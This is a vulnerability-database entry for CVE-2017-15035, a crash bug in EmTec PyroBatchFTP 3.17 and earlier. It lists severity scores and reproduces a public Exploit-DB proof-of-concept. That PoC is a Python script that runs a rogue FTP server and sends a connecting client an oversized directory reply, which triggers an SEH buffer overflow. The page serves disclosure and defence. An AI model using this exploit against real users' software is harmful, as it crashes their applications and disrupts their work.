CVE-2017-15035

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Published 2017-10-05 · Modified 2026-05-13

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CVSS v3

7.5

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVSS v4 NEW

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not yet in upstream

VIR risk

8.5

Description

EmTec PyroBatchFTP before 3.18 allows remote servers to cause a denial of service (application crash).

Predictions

Exploit likelihood

83%

Patch ETA

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Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-42962 dos windows verified python · 1 KB

Kevin McGuigan · 2017-10-07

PyroBatchFTP 3.17 - Buffer Overflow (SEH)

python exploit Source: Exploit-DB

#!/usr/bin/python
  
print "PyroBatchFTP Local Buffer Overflow (SEH) Server"

#Author: Kevin McGuigan @_h3xagram
#Author Website: https://www.7elements.co.uk
#Vendor Website: https://www.emtech.com
#Date: 07/10/2017
#Version: 3.17
#Tested on: Windows 7 32-bit
#CVE: CVE-2017-15035

 
import socket
import sys

buffer="A" * 2292 +   "B" * 4 + "C" * 4 + "D" * 800
port = 21
 
try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.bind(("0.0.0.0", port))
        s.listen(5)
        print("[+] FTP server started on port: "+str(port)+"\r\n")
except:
        print("[+] Failed to bind the server to port: "+str(port)+"\r\n")
 
while True:
    conn, addr = s.accept()
    conn.send('220 Welcome to PyoBatchFTP Overflow!\r\n')
    print(conn.recv(1024))
    conn.send("331 OK\r\n")
    print(conn.recv(1024))
    conn.send('230 OK\r\n')
    print(conn.recv(1024))
    conn.send('220 "'+buffer+'" is current directory\r\n')

Application impact

Vendor	Product	Versions	Fixed
emtec	pyrobatchftp	`{"endIncluding":"3.17"}`

References

CWEs

CWE-119

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